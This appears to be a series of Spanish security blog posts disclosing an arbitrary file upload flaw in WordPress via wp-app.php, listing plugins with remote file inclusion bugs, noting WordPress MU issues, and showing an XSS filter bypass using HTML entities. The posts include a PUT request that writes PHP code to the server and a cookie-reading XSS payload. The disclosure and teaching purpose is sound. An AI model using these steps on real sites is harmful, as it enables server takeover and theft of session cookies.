Categories
Seguridad Web WordPress

WordPress: Arbitrary File Upload

Nota: Esta vulnerabilidad se corrigió parcialmente en WordPress 2.2.1.

WordPress, como todo blogger que use este CMS debe saber, permite subir sólo determinado tipo de archivos, tarea que en general lo hace bien cuando se usa la interfase Web o XMLRPC de manera estándar.

Los datos de estos archivos, internamente se almacenan en la tabla wp_posts y wp_postmeta: en el primero se guardan el título, descripción y el tipo del archivo, además se asigna el tipo de entrada a post_type=attachment; en la segunda tabla se guarda la ruta del archivo en un campo especial denominado _wp_attached_file, adicionalmente se guardan también otras propiedades del archivo en _wp_attachment_metadata.

Por otro lado, tenemos la posibilidad de agregar campos personalizados para cada entrada o página, los cuales lógicamente son almacenados en la tabla wp_postmeta. Estos campos personalizados, en las versiones vulnerables de WordPress, permiten almacenar cualquier combinación clave=valor sin hacer ningún tipo de validación, es decir cualquiera puede agregar el siguiente campo personalizado a una entrada o página:

code:

clave   : _wp_attached_file
valor   : /home/vulnerable.com/wp/wp-content/uploads/demo.php

En el archivo wp-app.php, existe la siguiente función que permite modificar el contenido de cualquier archivo que hayamos subido usando WordPress:

php:

function put_file($postID) {

  $type = $this->get_accepted_content_type();

  // first check if user can upload
  if(!current_user_can('upload_files'))
    $this->auth_required(__('You do not have permission to upload files.'));

  // check for not found
  global $entry;
  $this->set_current_entry($postID);

  // then whether user can edit the specific post
  if(!current_user_can('edit_post', $postID)) {
    $this->auth_required(__('Sorry, you do not have the right to edit this post.'));
  }

  $location = get_post_meta($entry['ID'], '_wp_attached_file', true);

  if(!isset($location))
    $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

  $fp = fopen("php://input", "rb");
  $localfp = fopen($location, "w+");
  while(!feof($fp)) {
    fwrite($localfp,fread($fp, 4096));
  }
  fclose($fp);
  fclose($localfp);

  log_app('function',"put_file($postID)");
  $this->ok();
}

Esa función, recibe como parámetro el ID de una entrada, luego intenta obtener la ubicación especificada en _wp_attached_file y a continuación actualiza ese archivo con los datos que hayamos enviado. Esta característica debería estar disponible sólo para aquellas entradas con post_type=attachment, pero como no existe ninguna restricción de ese tipo, es posible usar el campo personalizado que agregamos anteriormente.

code:

PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

Como mencioné en la entrada anterior, esta vulnerabilidad es muy grave en sitios con WordPress MU instalado, puesto que normalmente cualquier usuario que se registre puede subir archivos al servidor. Preparé un exploit que hace lo mínimo necesario para aprovechar esta vulnerabilidad -- es mi primer script en Perl, así que no esperen mucho. 😉

Categories
Seguridad WordPress

Cuidado con los siguientes plugins para WordPress

Luego de una somera revisión del reporte de páginas no encontradas (gracias a AWStats), veo que hay varios intentos de acceso a plugins que no están instalados en este blog: wordtube, spamx, wp-table, myflash. Si se hace una búsqueda de cualquiera de los plugins mencionados (ejemplo), se puede ver que todos tuvieron el mismo problema de inclusión remota de archivos (Remote File Inclusion).

  • /wp-content/plugins/wordtube/wordtube-button.php: exploit
  • /wp-content/plugins/spamx/MTBlackList.Examine.class.php: exploit
  • /wp-content/plugins/wp-table/js/wptable-button.php: exploit
  • /wp-content/plugins/myflash/myflash-button.php: exploit

Actualización: Según gutielua, el plugin democracy también tiene problemas:

Quisiera comentar otro plugin que muestra fallas de seguridad se trata del DEMOCRACY

[/wordpress/wp-content/plugins/democracy/basic.css]

Uno de los administradores del hosting en donde me hospedo me comento que este archivo en especial hizo que se genera mucho trafico en el servidor, lo que provoco que me suspendieran el sitio por varios días.

Si alguien está usando estos plugins, es recomendable que actualice a las últimas versiones de éstos para evitar problemas posteriores.

Una vez más se puede ver que no importa que tan seguro sea el código principal de WordPress, si nosotros instalamos plugins que son desarrollados – a diestra y siniestra – por gente con poco o nulo interés en temas de seguridad.

Categories
.NET ASP.NET Miniposts PHP Seguridad Sql Injection Web XSS

Versión estable de PHPIDS (Intrusion Detection System)

Hoy acaban de anunciar que ya existe un versión estable de PHPIDS, un sistema de detección de intrusos basado en expresiones regulares. Pueden descargar el código desde el repositorio o hacer pruebas para ver como funciona esta pequeña librería.

Por otro lado, también existe .NETIDS, que es una versión en .NET -- realizada por Martin Hinks -- de PHPIDS.

Categories
CSRF Seguridad Sql Injection Web WordPress XSS

Múltiples vulnerabilidades en la última version estable de WordPress MU

WordPress MU, es una versión de WordPress que soporta múltiples blogs. Tanto WordPress como WordPress MU comparten gran parte de código y por lo tanto, es lógico que casi siempre sufran los mismos problemas de seguridad*.

Luego de mirar un rato el código de la última versión estable de WordPress MU, veo que el casi inofensivo** problema de seguridad que reporté el lunes pasado en WordPress, tiene consecuencias más peligrosas en la versión multiblog puesto que cualquiera puede registrarse en sitios que usen este CMS. Por las pruebas que hice, el exploit funciona sin realizar ningún cambio.

Por otro lado, las versiones menores iguales a 1.2.1 son posiblemente vulnerables a todos los bugs reportados meses atrás. Por tanto, lo más seguro mientras liberan actualizaciones de seguridad es usar la versión en desarrollo.

*: un problema similar existe entre menéame y pligg, este último no ha corregido varios de los fallos reportados en el primero (y viceversa).
**: pocos blogs dejan que los usuarios se registren libremente.

Categories
Firefox Internet Explorer Seguridad Web XSS

XSS y las peculiaridades de los navegadores

Hay ocasiones en que la forma como interpreta HTML un navegador puede producir algunos problemas de seguridad, esto normalmente se debe a descuidos de un programador que asume cierta funcionalidad.

Veamos el siguiente ejemplo — basado en una aplicación del mundo real ™ — que muestra un caso de estos:

php:

<?php

if (empty($_GET['el'])) {
        die;
}
/* Función genérica que sirve para eliminar ciertos caracteres */
function clean_input_string($string) {
        return preg_replace('/[ <>\'"\r\n\t\\()]/', '', stripslashes($string));
}

$elemento = clean_input_string($_GET['el']);

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>Demo</title>
        <script type="text/javascript">
            //<![CDATA[
            function ponerFoco(id){
                        var elemento = document.getElementById(id);
                        if (!elemento) return;
                        elemento.focus();
                }
            //]]>
        </script>
</head>

<body onload="ponerFoco('<?php echo $elemento; ?>')">   

        <form method="post" action="foo.php">
            <input type="text" name="usuario" id="usuario" />
                <input type="text" name="contrasena" id="contrasena" />
               
                <input type="submit" name="postback" value="Entrar »" />
        </form>
</body>

</html>

Como se puede observar, el código lo único que hace es intentar poner el foco en el elemento que se especifique en el parámetro el, éste valor antes es filtrado (elimina los caracteres espacio, <, >, ', ", \r, \n, \t, (, ) y \ ) por la función de propósito general clean_input_string — la aplicación de donde se tomó el código hace uso de esa función en varias partes.

Puesto que se eliminan los caracteres \, (, ) y ', en circunstancias normales no debería ser posible ejecutar javascript en el ejemplo mostrado; si el contiene ');alert(document.cookie)// entonces lo que llega al navegador es <body onload="ponerFoco(';alertdocument.cookie//')">, valor completamente inofensivo para nuestros propósitos.

Haciendo unas pruebas con un valor parecido al anterior, pero esta vez usando entidades HTML en lugar de los caracteres que son eliminados por la función clean_input_string, se consiguen resultados interesantes. Por ejemplo, para el = &#39;&#41;;alert&#40;document.cookie&#41;//, el HTML generado es:

html:

<body onload="ponerFoco('');alert(document.cookie)//')">

A simple vista, parece igual de inofensivo que el anterior caso, sin embargo si esa página carga en Firefox o Internet Explorer (no probé con otros navegadores), además de ejecutarse la función ponerFoco, se mostrará un mensaje mostrando las cookies almacenadas.

Este tipo de problemas se pueden solucionar evitando en lo posible enviar directamente los valores que dependen del cliente, definiendo filtros más específicos (formatos de identificadores válidos) o separando la generación de javascript y HTML en documentos distintos.